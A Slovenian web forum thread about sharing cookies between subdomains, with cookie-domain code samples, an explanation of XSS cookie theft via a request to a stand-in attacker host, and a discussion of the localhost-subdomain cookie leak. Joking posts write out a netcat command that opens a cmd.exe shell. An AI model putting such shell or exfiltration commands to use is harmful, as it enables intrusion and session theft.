» »

Prenašanje cookijev med poddomenami

Prenašanje cookijev med poddomenami

poweroff ::

Imam dva serverja, domena.si (kjer teče samo https) in poddomena.domena.si.

Na domena.si teče ASP.net in ta server (preko https) pošilja cookije browserju. Na poddomena.domena.si pa teče PHP.

Zanima me, ali je možno, da bi strežnik http://poddomena.domena.si videl cookije od strežnika https://domena.si?
sudo poweroff

schtr4jh ::

nastaviš dva cookia ... vsak ima svojo poddomeno

techfreak :) ::

Za strežnik piškota nastaviš ".domena.si" in ga bodo prejele vse poddomene.

setcookie ("piskot", "", time() + 3600, "/", ".domena.si", 1);


Vendar moraš paziti na Apache nastavitev, ker če mora tudi tam biti ".domena.si". Oz. ni vedno nujno, priporočljivo pa je, da tudi strežnik ve, kaj mora nastaviti.

Zgodovina sprememb…

poweroff ::

Kako pa vidim obstoječe nastavitve v cookiju?

Recimo, da ima kolega root domeno, jaz pa poddomeno - kako vidim njegove cookije na svoji poddomeni?
sudo poweroff

techfreak :) ::

Oba morata imeti domeno nastavljeno na ".domena.si". V nasprotnem primeru ti brskalnik ne dovoli ogleda piškotov drugih poddomen.

ASP.Net primer:
HttpCookie cookie = new HttpCookie("name", "value");
cookie.Domain = ".domena.si";


Če se gre za kakšne session piškote, pa nisem prepričan, da si lahko .NET in PHP delita.

Zgodovina sprememb…

fiction ::

Recimo, da ima kolega root domeno, jaz pa poddomeno - kako vidim njegove cookije na svoji poddomeni?
Cookie je itak samo nek manjsi kos podatkov, ki ti ga client (torej brskalnik), ce tako hoce, poslje po tem ko se skonekta na tvoj webserver. Preden rece npr. GET / HTTP/1.0 ti se s pomocjo HTTP headerjev "da" cookije. Torej ti konkretno nimas vpliva na to kaj bos dobil. Ce ti client poslje piskotek ga vidis tako kot vse ostale (ki si jih po moznosti nastavil ti). Pogoj za to je, da browser ve, da je cookie tudi za tebe (tvoj server). Se pravi tvoj prijatelj mora nastaviti tak piskotek, da ga bo browser poslal tudi tebi. In to gre kot so napisali ostali s pomocjo ".domena.si". Piskotka za "domena.si" tvoj streznik "poddomena.domena.si" kolikor vem ne bo dobil in ti nicesar ne mores narediti.

Hipoteticno je do teh piskotov mogoce priti samo preko nekega napada na uporabnika, ki ima nastavljene piskotke. Recimo, da ima stran na domena.si XSS luknjo. Med zapise na npr. forumu lahko vrines svojo JavaScript kodo. Postopek je sedaj tak: zrtev obisce stran. Brskalnik se poveze na streznik in ker gre za domena.si poslje piskotek. Tega ne mores prestrezati. Ampak ko se nalozi stran ta vsebuje tvojo zlobno kodo. Ta JS koda zdaj tece s "privilegiji" domena.si (ker je kao od tam prisla) in lahko dostopa do shranjenih piskotkov za domena.si. (Same origin policy drugace preprecuje take zadeve.) Ko enkrat ima piskote lahko recimo naredi request na napadalec.org/?cookie=<ime><vsebina> in jih tako posreduje naprej. Vse se zgodi prakticno nevidno in takoj po obisku strani.

fiction ::

Session po drugi strani je samo en hack, ker je HTTP stateless in bi bilo pretezko vsakic vse posiljati. Dejanski podatki so zdaj shranjeni na strezniku (v datoteki, bazi ali kakorkoli ze) in ne rabis tega server->client, client shrani, client->server roundtripa. S pomocjo Session ID-ja (ki je lahko cookie) samo poves "spet sem jaz" (se vedno gre za isto sejo). Torej to je kot neka referenca na podatke na serverju. Poleg tega, da je tako hitreje, je benefit je tudi, da si siguren, da je tisto kar si shranil na serverju vedno enako. Cookie bi lahko nekdo z zlobnimi nameni v browserju vmes spremenil.
Moras pa seveda zagotoviti, da session ID ni enostavno uganljiv (ker bi sicer lahko nekdo prisel do napacnih podatkov).

fiction ::

Če se gre za kakšne session piškote, pa nisem prepričan, da si lahko .NET in PHP delita.
Bolj tezko glede na to, da vsak streznik sam implicitno "vodi" sejo. Enostavno povedano: seja je to ko imas ti odprt brskalnik in gres na eno stran. Lahko se naredi 500 zahtev na www.domena.si pa bo streznik se vedno vedel: "aha to je pa tisti uporabnik od prej". Prvic ko se naredi request si te zapomne in potem vsakic samo pokazes svoj ID (ki ti ga je prvic povedal) pa ve da si res ti. Dokler ne zapres brskalnika ali pa seja ne potece.

V bistvu sploh nima smisla tukaj nekaj hekati, da bi te ko se povezes na ASP.NET server poznal tudi drug PHP server. Pac "spoznal" te bo prvic ko bos kaj hotel od njega. Za njega prej enostavno nimas "vzpostavljene seje z njim".

techfreak :) ::

V bistvu lahko rečeš ASP.Netu, da shrani session-e v bazo.
Potem mu rečeš še, da naj session kuki shrani pod ".domena.si".

Pri PHPju pa lahko rečeš, da ima ASP.Net session kuki pod ".domena.si" in mu poveš da so podatki v isti bazi.

Tako si lahko potem po poddomenah različni jeziki delijo session ... ampak je potrebno kar nekaj dodatne kode.

Če ima domena "domena.si" kakšno napako, lahko vrineš JS, ki prebere kuki in z JSjem izpišeš kuki, ki se poveže na PHP. (Recimo http://poddomena.domena.si/x.php?sessio...

Prvotno domeno pa lahko tudi dobiš preko iframe (Recimo http://domena.si/neka_stran.aspx?x=--sc.... Ampak za to moraš na IIS strežniku poslati prirejen header, da bo IE6 poslal kukije v iframe.

denial ::

Če govorimo o Piškotkih ne moremo izpustiti session fixation sploh zato, ker si odkritje te pomanjkljivosti lastijo slovenski strokovnjaki (ACROS). Do nadgradnje sistema je utrjevanje seje omogočal(a) tudi Volja/Tuštelekom.
SELECT finger FROM hand WHERE id=3;

poweroff ::

OK, gremo na naslednjo stopnjo.

Check this:

ping localhost.nlb.si
PING localhost.nlb.si (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.062 ms

In to seveda ni osamljen primer...
sudo poweroff

denial ::

Ne, ni osamljen primer. Tudi ST je bil do nedavna na tej listi :-) Tole je baje XSSible, tako vsaj meni Tavis Ormandy in če on tako pravi pol bo verjetno res držalo.
SELECT finger FROM hand WHERE id=3;

Zgodovina sprememb…

  • spremenil: denial ()

denial ::

Naslednji korak je...

box1/term1: nc -l -p 4444 -e cmd.exe localhost.nlb.si
box1/term2: nc localhost.nlb.si 4444

... krneki :)
SELECT finger FROM hand WHERE id=3;

Zgodovina sprememb…

  • spremenil: denial ()

poweroff ::

Pol pa format c: :D
sudo poweroff

fiction ::

Tako si lahko potem po poddomenah različni jeziki delijo session ... ampak je potrebno kar nekaj dodatne kode.
Ja, sej mariskaj lahko nacaras. Naceloma lahko tudi objektno programiras v C-ju, kljub temu da sam jezik ni objekten.

Ampak v tem konkretnem primeru to potem ni vec "seja" z istim streznikom (v omenjenem primeru sta oba web serverja celo na razlicnih racunalnikih in je vse skupaj se vecji hack). V bistvu ti koncept "seje" grdo zlorabis in uporabljas session, ki pa to sploh ni vec.

Kar se tice localhost.nlb.si. Da mora biti v vsaki .si domeni localhost A record, ki kaze na 127.0.0.1 je bil requirement s strani ARNES-a, ki ga tudi preverjajo oz. vsaj vcasih so ga (Beri: http://www.arnes.si/domene/vpis_dns.html ). Pomoje bi bilo prav, da zna nameserver nujno resolvati "localhost." ne pa "localhost.domena.si."

Tisto od Tavisa sem se ze dolgo nazaj prebral na njegovem blogu. V bistvu je napad precej omejen (je pa vseeno zanimiv).

Ti imas masino v podjetju (foobar.something.org) na kateri ima vec uporabnikov accounte. Tam potem napadalec pozene svoj webserver (na portu > 1023, ker ni root). Ljudem, ki imajo account na istem racunalniku poslje mail v stilu "hej, pridite na localhost.domena.si:1024". Ce berejo mail na istem racunalniku se bo localhost.domena.si resolval v 127.0.0.1 in bodo pristali na napadalcevem spletnem strezniku. In to kljub temu, da je domena.si neka cisto druga zadeva. Localhost je pac vedno localhost.
Trik zdaj je, da browser misli "ok komuniciram z nekaj.domena.si", torej ce ima uporabnik kaksen cookie za ".domena.si" ga bo poslal tudi napadalcevemu strezniku. Ne glede na to, da je bilo tisto mogoce misljeno samo za streznik na http://domena.si. Problem je tista . spredaj, ki pomeni tudi za vse poddomene. No lahko je pa seveda vse skupaj tudi namerno, ampak nihce seveda ni mislil da je tudi localhost.domena.si pod domena.si in kaze nekam, kar ni nujno pod kontrolo istih ljudi.

Aja ACROS so pogruntali oz. opisali session fixation. Zanimivo, nisem vedel.

fiction ::

Ce citiram ARNES (da ne bo treba vsakemu na tisti omenjen page):

Nekateri drugi parametri

Zgled NS zapisov za namišljeno domeno domena.si:

domena.si. IN NS primarni.domena.si.
domena.si. IN NS sekundarni-1.domena.si.
domena.si. IN NS sekundarni-2.domena.si.

Znotraj domene mora biti definiran zapis za localhost:

localhost.domena.si. IN A 127.0.0.1

box1/term1: nc -l -p 4444 -e cmd.exe localhost.nlb.si
box1/term2: nc localhost.nlb.si 4444
;)
Eh, jaz se kar sshjam na localhost.nlb.si pa je.

techfreak :) ::

Jah seveda, še malo bodo rekli, da naj login.domena.si usmerimo na njihov strežnik?

Gost ::

Opazil sem, da imam na svoji .si domeni tudi jaz zapisano:
localhost IN A 127.0.0.1

A bo kakšen problem s strani Arnesa, če se vpiše to v pravilni obliki?

fiction ::

Pomoje je glede tega najbolje kontaktirati ARNES. Drugace imam tudi jaz zacasno se tako, da localhost.mojadomena.si kaze na A 127.0.0.1 in AAAA ::1 record. Na mojadomena.si itak nimam nobene spletne storitve pri kateri bi se dalo krasti cookije. Je pa po drugi strani se zmeraj treba na vecuporabniski masini zvabiti uporabnika na to fake stran. Tako da kar se tega tice recimo upravljalec strani mojadomena.si ni prakticno nicesar kriv. Mislim ni tako, da bi se XSS nad uporabniki izvajal zaradi tega, ker bi on prikazoval zloben JS od napadalca ali kaj takega.

Se pravi problem ni samo localhost, vedno ko nekomu das poddomeno, moras paziti na to, da imas recimo pri sebi setiras cookije za "domena.si" in ne ".domena.si".

Gost ::

Arnes je odgovoril, da si lahko ta zapis spremenimo po želji niti ga njihova avtomatika ne preverja. Bodo verjetno tudi spremenili na strani v ustrezno navodilo.

Kaj vse ne zveš :)

jype ::

Tega ne preverjajo že zelo dolgo. Po letu 2004 nobena moja .si domena nima več tega, pa "grejo skozi" pri ARNESu.


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

E-pošta in drugo gostovanje

Oddelek: Izdelava spletišč
193350 (2929) Jerry000
»

Zamenjava ISP-ja (strani: 1 2 )

Oddelek: Izdelava spletišč
505126 (4303) NeMeTko
»

preusmeritev maila

Oddelek: Izdelava spletišč
72031 (1545) Ice-Heki
»

windows server 2003 DNS za routerjem

Oddelek: Operacijski sistemi
61556 (1453) Mythos
»

Vpis DNS strežnika v vrhnji DNS

Oddelek: Omrežja in internet
378779 (7270) kronik

Več podobnih tem